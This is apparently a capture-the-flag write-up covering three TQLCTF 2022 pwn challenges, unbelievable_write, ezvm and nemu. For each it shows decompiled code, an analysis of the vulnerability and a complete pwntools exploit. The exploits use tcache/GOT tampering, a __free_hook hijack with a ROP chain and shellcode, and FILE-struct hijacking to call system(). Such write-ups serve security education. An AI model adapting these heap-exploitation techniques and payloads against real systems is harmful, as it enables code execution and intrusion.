File: https://github.com/Ex-Origin/ctf-writeups/tree/master/tqlctf2022
unbelievable_write
Status
- Environment: Glibc 2.31
- libc-2.31.so md5sum: d371da546786965fe0ee40147ffef716
$ checksec unbelievable
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Vulnerability
void c2()
{
char **v0; // rbx
int v1; // eax
if ( golden == 1 )
{
golden = 0LL;
v0 = (char **)ptr;
v1 = read_int();
free((char *)v0 + v1);
}
else
{
puts("no!");
}
}
We can free()
any address except which one is larger than 0x100000000
.
Idea
- free(tcache_perthread_struct)
- tamper with target (.data:0000000000404080)
Question
void c1()
{
unsigned int size; // [rsp+4h] [rbp-Ch]
void *size_4; // [rsp+8h] [rbp-8h]
size = read_int();
if ( size <= 0xF || size > 0x1000 )
{
puts("no!");
}
else
{
size_4 = malloc(size);
readline((__int64)size_4, size);
free(size_4);
}
}
The idea that I try to tamper with the target
directly is probably the first to occur to
me. But it will call free(size_4)
after readline((__int64)size_4, size);
which the target is tampered with, at the same time terrible to keep the address of
size_4
unchanged, then follows that the program breaks down in free
.
There is no choice except to figure out this trouble, what I do is to tamper with
free.got
before the target
.
.got.plt:0000000000404018 off_404018 dq offset free ; DATA XREF: _free+4↑r
.got.plt:0000000000404020 off_404020 dq offset puts ; DATA XREF: _puts+4↑r
It is available to modify free.got
into puts.plt
, but at the same time
essential to keep open.got
invariable because of modification from tcache
.
Exploit
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
context.arch = 'amd64'
sh = process('./unbelievable')
def c1(size, content):
sh.sendlineafter(b'> ', b'1')
sh.sendline(str(size).encode())
sh.sendline(content)
def c2(size):
sh.sendlineafter(b'> ', b'2')
sh.sendline(str(size).encode())
def c3():
sh.sendlineafter(b'> ', b'3')
c2(-0x290)
c1(0x280, b'\0\0' * 8 + p16(1) + p16(1) + b'\0\0' * 54 + p64(0) * 8 + p64(0x404018) + p64(0x404080))
c1(0x90, p64(0x4010f0) + p64(0x0000000000401040))
c1(0xa0, p64(0))
c3()
sh.interactive()
ezvm
Status
- Environment: Glibc 2.31
- libc-2.31.so md5sum: d371da546786965fe0ee40147ffef716
- libunicorn.so.1 md5sum: 9d1981bf367b7a9edc9b7f3ecebd5447
$ checksec easyvm
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ldd easyvm
linux-vdso.so.1 (0x00007fffc94e3000)
libunicorn.so.1 => /lib/x86_64-linux-gnu/libunicorn.so.1 (0x00007f4137a52000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f4137a2f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f413783d000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f41376ee000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4138503000)
$ seccomp-tools dump ./easyvm
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
Vulnerability
// 00000000 struct_fd struc ; (sizeof=0x48, mappedto_8)
// 00000000 ; XREF: .data:struct_file/r
// 00000000 fileno dq ?
// 00000008 name db 24 dup(?)
// 00000020 malloc_buf dq ?
// 00000028 malloc_size dq ?
// 00000030 read_func dq ? ; XREF: fd_read+66/o
// 00000030 ; fd_read+6D/r ; offset
// 00000038 write_func dq ? ; XREF: fd_write+66/o
// 00000038 ; fd_write+6D/r ; offset
// 00000040 close_func dq ? ; XREF: fd_free+5B/o
// 00000040 ; fd_free+62/r ; offset
// 00000048 struct_fd ends
size_t __fastcall fd_malloc(const char *filename, unsigned __int64 malloc_size)
{
unsigned __int64 size; // [rsp+0h] [rbp-20h]
int i; // [rsp+14h] [rbp-Ch]
int j; // [rsp+14h] [rbp-Ch]
struct_fd *item; // [rsp+18h] [rbp-8h]
size = malloc_size;
for ( i = 0; i <= 15; ++i )
{
if ( !strcmp(struct_file[i].name, filename) )
return struct_file[i].fileno;
}
if ( count_fd > 15 )
return 0xFFFFFFFFLL;
if ( malloc_size > 0x400 )
size = 1024LL;
for ( j = 0; j <= 15 && struct_file[j].name[0]; ++j )
;
item = &struct_file[j];
item->malloc_buf = (__int64)malloc(size);
strcpy(item->name, filename);
item->read_func = (ssize_t (__fastcall *)(struct_fd *, void *, size_t))malloc_read;
item->write_func = (ssize_t (__fastcall *)(_QWORD *, const void *, size_t))malloc_write;
item->close_func = malloc_close;
item->fileno = j;
++count_fd;
item->malloc_size = size;
return item->fileno;
}
// .text:0000000000001B9A call _strcpy
There is an off-by-one
vulnerability at .text:0000000000001B9A
, in which
the length of filename
and struct_fd->name
both are 24. It looks secure
but when the length of the filename
is 24 because of strcpy
's truncation
which results in the unexpected modification of address of the struct_fd->malloc_buf
. It will be more secure to use strncpy(item->name, filename, sizeof(item->name))
instead of strcpy(item->name, filename)
.
Exploit
It shows more details, which were in annotation, in the following code.
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
context.arch = 'amd64'
sh = process('./easyvm')
payload = asm('''
sub rsp, 0x800
mov r13, rsp
mov r14, rsp
add r14, 0x400
;// write(STDOUT_FILENO, malloc(0x40), 0x18); -> fd 3
;// malloc(0x40) comes from unsortbin at this time.
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r13
mov edx, 0x100
mov eax, 0
syscall
mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall
mov edi, 3
mov rsi, r13
mov edx, 0x18
mov eax, 0
syscall
mov edi, 1
mov rsi, r13
mov edx, 0x18
mov eax, 1
syscall
;// malloc(0x40); -> fd 4
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall
mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall
;// malloc(0x40); -> fd 5
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall
mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall
;// malloc(0xf0); -> fd 6
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall
mov rdi, r13
mov esi, 0xf0
mov eax, 2
syscall
;// close(fd 4);
;// close(fd 5);
mov edi, 4
mov eax, 3
syscall
mov edi, 5
mov eax, 3
syscall
;// read(STDIN_FILENO, fd 6, 0x38);
;// Here it will tamper with tcache_entry->next which size is 0x40.
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r13
mov edx, 0x38
mov eax, 0
syscall
mov edi, 6
mov rsi, r13
mov edx, 0x38
mov eax, 1
syscall
;// malloc(0x40); -> fd 4
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall
mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall
;// malloc(0x40); -> fd 5
;// Get __free_hook address.
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall
mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall
;// read(STDIN_FILENO, fd 5, 8);
;// Change __free_hook into printf
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r13
mov edx, 8
mov eax, 0
syscall
mov edi, 5
mov rsi, r13
mov edx, 8
mov eax, 1
syscall
;// printf("%246$p#");
;// "%246$p#"
mov rax, 0x23702436343225
push rax
mov edi, 1
mov rsi, rsp
mov edx, 7
mov eax, 1
syscall
pop rax
;// Change __free_hook into gets
mov rax, 0x21ce0
add [r13], rax
mov edi, 5
mov rsi, r13
mov edx, 8
mov eax, 1
syscall
;// Prepare for SROP
mov rdi, r13
mov esi, 0xc0
mov eax, 2
syscall
mov edi, 7
mov eax, 3
syscall
;// Change __free_hook into ret
mov rax, 0x61477
sub [r13], rax
mov edi, 5
mov rsi, r13
mov edx, 8
mov eax, 1
syscall
;// Change __free_hook into setcontext as gets() happens.
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 0
mov rsi, r14
mov edx, 0x3e1
mov eax, 0
syscall
mov rdi, r13
mov esi, 0x300
mov eax, 2
syscall
mov rax, 0x61477
sub [r13], rax
mov rdi, r13
mov esi, 0x300
mov eax, 2
syscall
;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax
mov edi, 8
mov rsi, r14
mov edx, 0x300
mov eax, 1
syscall
hlt
''')
sh.sendlineafter(b'Send your code:\n', payload)
sh.sendafter(b'$ ', b'/dev/tttt\0')
result = u64(sh.recvn(8))
libc_addr = result - 0x1ec1f0
success('libc_addr: ' + hex(libc_addr))
sh.recvn(8)
result = u64(sh.recvn(8))
heap_addr = result - 0x31b20
success('heap_addr: ' + hex(heap_addr))
sh.sendafter(b'$ ', b'/dev/1\0')
sh.sendafter(b'$ ', b'/dev/2\0')
sh.sendafter(b'$ ', b'a' * 24)
# __free_hook
sh.sendafter(b'$ ', b'b' * 0x28 + p64(0x51) + p64(libc_addr + 0x1eeb28))
sh.sendafter(b'$ ', b'/dev/3\0')
sh.sendafter(b'$ ', b'/dev/4\0')
# printf
sh.sendafter(b'$ ', p64(libc_addr + 0x64e10))
sh.recvuntil(b'0x')
result = int(sh.recvuntil(b'#', drop=True), 16)
stack_addr = result
success('stack_addr: ' + hex(stack_addr))
sh.send(b'\n\n\n')
sh.sendline(b'\0' * 0xd0 + p64(stack_addr-0xf0))
sh.send(b'\n')
layout = [
libc_addr + 0x0000000000026b72, #: pop rdi; ret;
stack_addr & (~0xfff),
libc_addr + 0x0000000000027529, #: pop rsi; ret;
0x2000,
libc_addr + 0x0000000000162866, #: pop rdx; pop rbx; ret;
7, 0,
libc_addr + 0x000000000004a550, #: pop rax; ret;
0xfffffffffffffffa,
libc_addr + 0x000000000013e47a, #: add eax, 0x10; ret;
libc_addr + 0x0000000000066229, #: syscall; ret;
stack_addr - 0x90,
]
shellcode = asm('''
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''')
sh.sendafter(b'$ ', flat(layout) + shellcode)
sh.interactive()
nemu
Status
- Environment: Glibc 2.23
- libc-2.23.so md5sum: b0097c8a9284b03b412ff171c3d3c9cc
$ checksec nemu
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
$ ldd nemu
linux-vdso.so.1 => (0x00007ffc3dfe5000)
libreadline.so.6 => /lib/x86_64-linux-gnu/libreadline.so.6 (0x00007f4d61dcb000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4d61a01000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f4d617d8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4d62011000
$ ./nemu
[src/monitor/monitor.c,47,load_default_img] No image is given. Use the default build-in image.
Welcome to NEMU!
[src/monitor/monitor.c,30,welcome] Build time: 09:41:16, Jan 26 2022
For help, type "help"
(nemu) help
help - Display informations about all supported commands
c - Continue the execution of the program
q - Exit NEMU
si - Execute the step by one
info - Show all the regester' information
x - Show the memory things
p - Show varibeals and numbers
w - Set the watch point
d - Delete the watch point
set - Set memory
Because it is an i386 debugger, we can't just access the high address which is larger than 0x100000000.
Vulnerability
(nemu) set 0xabcd0000 0
Segmentation fault (core dumped)
The memory that is accessed could be out-of-bound.
Idea
- Leak necessarily information
- Hijach FILE struct
void __fastcall exec_wrapper(bool print_flag)
{
__int64 v1; // rax
__int64 v2; // rax
vaddr_t seq_eip; // eax
char strbuf[512]; // [rsp+0h] [rbp-228h] BYREF
unsigned __int64 v5; // [rsp+208h] [rbp-20h]
v5 = __readfsqword(0x28u);
decoding.p = (_BYTE *)(&decoding + 264);
decoding.p = (char *)((int)__sprintf_chk(141183016LL, 1LL, 128LL, "%8x: ", cpu.eip) + 141183016LL);
decoding.seq_eip = cpu.eip;
exec_real(&decoding.seq_eip);
__sprintf_chk(decoding.p, 1LL, -1LL, "%*.s", -3 * (decoding.seq_eip - cpu.eip) + 38, "");
v1 = __stpcpy_chk(strbuf, 141183016LL, 512LL);
v2 = __stpcpy_chk(v1, 141182936LL, 512LL);
__memcpy_chk(141183016LL, strbuf, v2 - (_QWORD)strbuf + 1, 128LL);
if ( log_fp )
{
__fprintf_chk(log_fp, 1LL, "%s\n", decoding.asm_buf);
fflush(log_fp);
}
if ( print_flag )
puts(decoding.asm_buf);
seq_eip = decoding.seq_eip;
if ( decoding.is_jmp )
{
seq_eip = decoding.jmp_eip;
decoding.is_jmp = 0;
}
cpu.eip = seq_eip;
}
// .bss:00000000086A3B98 ; FILE *log_fp
// .bss:00000000086A3B98 log_fp dq ? ; DATA XREF: exec_wrapper+DF↑r
If log_fp
is not NULL
, then it will call
__fprintf_chk(log_fp, 1LL, "%s\n", decoding.asm_buf);
. So we can hijack
log_fp
to tamper with flow.
Exploit
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal, math
context.arch = 'i386'
sh = process('./nemu')
def set_mem(addr, value):
sh.sendlineafter(b'(nemu) ', b'set ' + str(addr).encode() + b' ' + str(value).encode())
sh.sendlineafter(b'(nemu) ', b'si')
sh.sendlineafter(b'(nemu) ', b'x 0x8000040')
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
heap_addr = int(sh.recvline(), 16) - 0x530
success('heap_addr: ' + hex(heap_addr))
sh.sendlineafter(b'(nemu) ', b'x ' + hex(heap_addr + 0x908 - 0x6a3b80).encode())
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
libc_addr = int(sh.recvline(), 16)
sh.sendlineafter(b'(nemu) ', b'x ' + hex(heap_addr + 0x90c - 0x6a3b80).encode())
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
libc_addr = int(sh.recvline(), 16) * 0x100000000 + libc_addr - 0x3c4ce8
success('libc_addr: ' + hex(libc_addr))
set_mem(0, 0xfbad2a84 | 0x1000)
set_mem(4, 0x68733b)
set_mem(0x70, 1)
set_mem(0x88, 0x6a3b80+0x1000)
set_mem(0xd8, 0x6a3b80+0x2000)
system = libc_addr + 0x453a0
success('system: ' + hex(system))
set_mem(0x2000 + 0x38, system % 0x100000000)
set_mem(0x2000 + 0x3c, system // 0x100000000)
set_mem(0x86A3B98 - 0x6a3b80, 0x6a3b80)
sh.sendlineafter(b'(nemu) ', b'si')
sh.recvuntil(b'not found')
sh.interactive()